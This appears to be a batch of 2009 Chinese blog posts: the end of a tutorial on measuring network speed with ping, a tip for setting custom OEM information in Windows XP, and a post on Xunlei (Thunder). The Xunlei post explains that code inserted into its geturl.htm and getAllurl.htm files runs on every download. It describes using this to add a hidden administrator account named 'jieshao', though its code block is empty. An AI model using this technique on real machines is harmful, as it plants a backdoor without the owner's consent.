　　Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
　　Approximate round trip times in milli-seconds:
　　Minimum = 415ms, Maximum = 421ms, Average = 417ms
　　看是不是差不多啊。
　　这里大家可能要注意到，这估算值跟实际值是有误差的，为什么呢？因为我们现在估算的是一个理论值，还有一些东西我们没有考虑。比如在网络中的其它干扰，这些干扰主要来之别的计算机。因为在你测试时不可能全部计算机停止使用网络给你做测试，这是不实际的。另外就是传输设备，因为有某些设备如MODEM它在传输时会把数据压缩后再发送，这大大减少了传输时间。这些东西产生的误差我们是不能避免的，但其数值大约在5%以内我们都可以接受(利用MODEM传输例外)，但是可以减少误差的产生。比如把MODEM的压缩功能关闭和在网络没有那么繁忙时进行测试。有时候误差是无须消除的。因为我们需要这些误差跟所求得的理论值进行比较分析，从而找出网络的缺陷而进行优化。这时测试网络的所有数据包括误差都会成为我们优化的依据。
　　还要注意，这种算法在局域网并不适用，因为在局域网中速度非常的快几乎少于1ms，而Ping的最小时间分辨率是1ms，所以根本无法用Ping命令来检测速度。如果想测试速度那就要用专门仪器来检测。
　　总的来说，Ping命令是一个在故障检查方面很有用而且很便利的工具，你不应该忽视它的存在。

迅雷也闹‘鬼’

348272924@qq.com(Let's Go) — Fri, 17 Jul 2009 15:06:11 GMT

当我们使用迅雷下载东西的时候，会调用我们安装迅雷后一个htm文件，去激活htm文件里的一些代码，
把我们所下载东西添加到列表当中。
所对应的htm文件有2处一处是C:\Program Files\Thunder Network\Thunder\Program\geturl.htm
一处是C:\Program Files\Thunder Network\Thunder\Program\getAllurl.htm
如果我们想把我们想要的代码添加进去执行了？
我们简单写个代码试试，代码如下：

应该大家都可以看的出，如果我们把这段代码添加到那2个htm文件里，当迅雷下载东西的时候，一样
会去执行我们的代码。添加一个administrators组的一个用户jieshao
当然，代码大家可以自定义哈。不要被我所禁锢住啦

手动修改XP系统属性的技术支持信息

348272924@qq.com(Let's Go) — Tue, 07 Jul 2009 13:33:38 GMT

生产厂商的标志和服务支持信息，这也就是我们平常所说的OEM信息。其实这些信息都是由两个文件提供的，而一般用户独立安装的xp是没有这两个文件的，不过我们可以通过手动建立的方法来实现这两个位置的显示：
首先，用记事本输入一下信息——
-------------文件内容如下，请不要复制本行--------------
[Version]
Microsoft Windows XP Home Edition
WinVer=5.01

[General]
Manufacturer=好多菩提树好多明镜台
Model=本来好多物好多的尘埃
[Support Information]
Line1="Lalawu说——Coolmouse你给我出来！"
Line2="你弄的是什么破电脑？"
Line3="？？？"
Line4="你说在google上什么都能找到？"
Line5="是啊，什么信息都有啊？"
Line6="我问google——你知道coolmouse的钱包还有多少钱吗？"
Line7="google回答——对不起，请缩小搜索范围或修改关键字"

---------------文件结束，请不要复制本行------------

其中红色=后面双引号里面的内容都可以自由改动。在修改完里面的信息以后，记得保存这个文件为OEMINFO.ini
然后是找一幅自己喜欢的图片，修改其大小为180× 110左右，保存为OEMLOGO.bmp
把制作好的文件放到c:\window s\system32目录里面，呵呵~~~这时候再让我们来看看你的系统属性，是不是很有个性！